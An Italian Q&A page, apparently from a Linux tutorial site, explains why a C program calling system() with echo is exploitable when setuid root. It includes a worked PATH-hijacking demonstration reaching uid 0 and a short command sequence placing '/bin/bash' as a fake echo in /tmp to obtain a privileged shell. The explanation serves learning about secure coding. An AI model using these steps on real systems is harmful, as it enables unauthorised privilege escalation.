GNU/Linux >> Linux Esercitazione >  >> Linux

Cosa c'è di vulnerabile in questo codice C?

Puoi sovrascrivere PATH variabile per puntare a una directory con la tua versione personalizzata di echo e dal echo viene eseguito usando env , non viene trattato come integrato.

Ciò costituisce una vulnerabilità solo se il codice viene eseguito come utente privilegiato.

Nell'esempio seguente il file v.c contiene il codice della domanda.

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
  printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x  1 user     group  8752 Nov 29 01:55 echo
-rw-r--r--  1 user     group    99 Nov 29 01:54 echo.c
-rwsr-sr-x  1 root     group  8896 Nov 29 01:55 v
-rw-r--r--  1 user     group   279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$ 

Si noti che l'impostazione dell'ID utente reale, dell'ID utente effettivo e dell'ID utente set salvato mediante una chiamata a setresuid() prima della chiamata a system() nel codice vulnerabile pubblicato nella domanda consente di sfruttare la vulnerabilità anche quando solo l'ID utente effettivo è impostato su un ID utente privilegiato e l'ID utente reale rimane non privilegiato (come nel caso ad esempio quando si fa affidamento sul bit set-user-ID su un file come sopra). Senza la chiamata a setresuid() la shell gestita da system() ripristinerebbe l'ID utente effettivo all'ID utente reale rendendo l'exploit inefficace. Tuttavia, nel caso in cui il codice vulnerabile venga eseguito con l'ID utente reale di un utente privilegiato, system() la sola chiamata è sufficiente. Citando sh pagina man:

Se la shell viene avviata con l'id effettivo dell'utente (gruppo) diverso dall'id reale dell'utente (gruppo) e l'opzione -p non viene fornita, non vengono letti file di avvio, le funzioni della shell non vengono ereditate dall'ambiente, la variabile SHELLOPTS , se appare nell'ambiente, viene ignorato e l'ID utente effettivo viene impostato sull'ID utente reale. Se all'invocazione viene fornita l'opzione -p, il comportamento di avvio è lo stesso, ma l'ID utente effettivo non viene reimpostato.

Inoltre, tieni presente che setresuid() non è portatile, ma setuid() o setreuid() può anche essere usato con lo stesso effetto.


beh, in realtà nella chiamata alla funzione di sistema puoi fare confusione con il echo command.per esempio se esegui il seguente codice :

echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH

otterrai una shell con i permessi del proprietario del file


Linux
  1. Cosa succede se [[ $? -ne 0 ]]; significa in .ksh

  2. Cosa fa questo script sh se eseguito?

  3. Spiegazione della manipolazione della funzione Bash

  4. Cos'è questa cartella /run/user/1000?

  5. Domande sull'ID utente salvato

Cos'è Cloud-Init?

Cos'è SteamOS? Tutto ciò che è importante sapere su questa "distribuzione di giochi"

Cosa indica questa statistica del processo?

Che terminale è questo?

Che cos'è gssapi con microfono?

Cosa si può imparare su un utente da un tentativo SSH fallito?